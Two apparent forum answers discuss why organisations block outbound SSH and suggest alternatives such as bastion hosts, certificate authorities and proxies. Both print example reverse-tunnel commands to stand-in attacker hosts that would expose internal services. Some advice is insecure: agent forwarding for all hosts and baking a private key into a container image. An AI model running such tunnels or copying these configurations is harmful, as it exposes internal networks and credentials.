As a programmer who's encountered this in multiple client environments, blocking outbound SSH feels like shooting ourselves in the foot. The immediate impact is clear: developers either waste time finding workarounds or incur unnecessary expenses using mobile hotspots. But let's examine why sysadmins implement this restriction and how we can find middle ground.

There are legitimate security concerns behind this practice:

// Example of potential malicious SSH usage
$ ssh -R 2222:localhost:22 attacker@malicious-server.com
// Creates reverse tunnel exposing internal network

Key risks include:

• Data exfiltration through encrypted channels
• Unauthorized remote access points
• Pivoting attacks using developer machines
• Shadow IT infrastructure

Common scenarios where this creates friction:

# Trying to pull from private GitHub repo
$ git clone git@github.com:company/project.git
# Fails when port 22 blocked

Workarounds developers typically employ:

# Using HTTPS instead (but requires credential management)
$ git clone https://github.com/company/project.git

# SSH over alternative ports (if allowed)
$ ssh -p 443 user@example.com

Instead of blanket blocking, consider these approaches:

1. Bastion Host Pattern

# Standard enterprise SSH flow
$ ssh -J bastion.company.com developer@target-server

2. SSH Certificate Authority

# Instead of key-based auth
$ ssh-keygen -s ca_key -I user_id -n developer user_key.pub

3. Port Forwarding Through Approved Proxies

# Using corporate proxy for SSH
$ ssh -o "ProxyCommand=nc -X connect -x proxy:3128 %h %p" user@host

Implementing robust monitoring can provide security without blocking:

# Example Suricata rule for SSH anomaly detection
alert ssh any any -> any 22 (msg:"Suspicious SSH outbound"; 
   flow:established,to_server; content:"SSH-"; depth:4; 
   threshold:type limit, track by_src, count 5, seconds 60; 
   sid:1000001; rev:1;)

While security teams focus on risk mitigation, blocking SSH often:

• Increases shadow IT usage
• Forces insecure workarounds
• Reduces deployment velocity
• Creates developer frustration

The most effective organizations implement granular controls like:

# AWS Network Firewall example allowing SSH only to approved hosts
{
  "Rules": [
    {
      "RuleDefinition": {
        "MatchAttributes": {
          "DestinationPorts": [{"FromPort": 22, "ToPort": 22}],
          "Destinations": [{"AddressDefinition": "203.0.113.0/24"}]
        }
      }
    }
  ]
}

---

As a developer who's wrestled with locked-down networks, I understand the frustration of hitting this error:

ssh: connect to host github.com port 22: Connection refused

While it may seem like pointless bureaucracy, there are legitimate security reasons behind this restriction that deserve examination.

Port 22 blocking typically stems from these threat scenarios:

• Data Exfiltration: SSH tunnels can bypass DLP systems. I once saw a contractor attempt to scp proprietary algorithms to a personal server.
• Shadow IT: Developers spinning up unauthorized cloud instances (e.g., aws ec2 authorize-security-group-ingress --port 22)
• Lateral Movement: Compromised credentials could allow access to jump servers

Security teams often reference these actual incidents:

# Example of malicious SSH tunnel found in logs
ssh -NfR 2222:internal-db:5432 attacker.com -o StrictHostKeyChecking=no

The above command would create a reverse tunnel exposing an internal database.

Instead of fighting the policy, try these approved alternatives:

1. SSH over HTTPS (GitHub's approach):

git config --global url."https://github.com/".insteadOf git@github.com:

2. Corporate SSH Gateways:

Host *
  ProxyCommand corpgateway.example.com nc %h %p
  ForwardAgent yes

3. Containerized Development:

# Dockerfile snippet for dev environments
RUN apt-get update && apt-get install -y openssh-client
COPY --chmod=600 id_rsa /root/.ssh/

When advocating for SSH access, come armed with these metrics:

• Time lost per day due to workarounds (measure with time git clone comparisons)
• List of whitelisted domains (github.com, gitlab.com, etc.)
• Offer to implement compensating controls like ssh-audit scanning

Modern version control workflows can reduce SSH dependence:

# GitHub CLI authentication
gh auth login --with-token < mytoken.txt
gh repo clone org/private-repo

The security vs. productivity balance requires understanding both perspectives. With proper controls and communication, most organizations will grant reasonable SSH access.